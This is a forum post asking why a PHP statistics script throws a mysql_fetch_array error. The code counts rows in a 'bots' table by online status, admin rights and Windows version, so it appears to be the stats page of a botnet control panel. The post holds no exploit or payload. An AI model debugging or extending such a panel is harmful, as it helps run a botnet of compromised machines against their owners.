Jump to content

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/PATH/public_html/PATH/PATH/stats.php on line 41


White-Hat

Recommended Posts

Hi!

So I'm working for someone, and they want me to fix this error in a PHP file..

Here is the code:

<?php
    include_once('config.php');
    
    $online = mysql_query("SELECT * FROM bots WHERE status LIKE 'Online'");
    $offline = mysql_query("SELECT * FROM bots WHERE status LIKE 'Offline'");
    $dead = mysql_query("SELECT * FROM bots WHERE status LIKE 'Dead'");
    $admintrue = mysql_query("SELECT * FROM bots WHERE admin LIKE 'True'");
    $adminfalse = mysql_query("SELECT * FROM bots WHERE admin LIKE 'False'");
    $windows8 = mysql_query("SELECT * FROM bots WHERE so LIKE '%8%'");
    $windows7 = mysql_query("SELECT * FROM bots WHERE so LIKE '%7%'");
    $windowsvista = mysql_query("SELECT * FROM bots WHERE so LIKE '%vista%'");
    $windowsxp = mysql_query("SELECT * FROM bots WHERE so LIKE '%xp%'");
    $unknown = mysql_query("SELECT * FROM bots WHERE so LIKE 'Unknown'");
    $totalbots = mysql_num_rows(mysql_query("SELECT * FROM bots"));

    $onlinecount = 0;
    $offlinecount = 0;
    $deadcount = 0;

    $admintruecount = 0;
    $adminfalsecount = 0;

    $windows8count = 0;
    $windows7count = 0;
    $windowsvistacount = 0;
    $windowsxpcount = 0;
    $unknowncount = 0;

    while($row = mysql_fetch_array($online)){
        $onlinecount++;
    }
                 
    while($row = mysql_fetch_array($offline)){
        $offlinecount++;
    }
                 
    while($row = mysql_fetch_array($dead)){
        $deadcount++;
    }
                 
    while($row = mysql_fetch_array($admintrue)){
        $admintruecount++;
    }
                 
    while($row = mysql_fetch_array($adminfalse)){
        $adminfalsecount++;
    }
    
    while($row = mysql_fetch_array($windows8)){
        $windows8count++;
    }
                 
    while($row = mysql_fetch_array($windows7)){
        $windows7count++;
    }
                 
    while($row = mysql_fetch_array($windowsvista)){
        $windowsvistacount++;
    }
                 
    while($row = mysql_fetch_array($windowsxp)){
        $windowsxpcount++;
    }
                 
    while($row = mysql_fetch_array($unknown)){
        $unknowncount++;
    }

    $statustotal    = $onlinecount + $offlinecount + $deadcount;
    $admintotal     = $admintruecount + $adminfalsecount;
    $sototal        = $windows7count + $windowsvistacount + $windowsxpcount + $unknowncount;
?>

Can anyone tell me the error here, can how to fix it?
Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.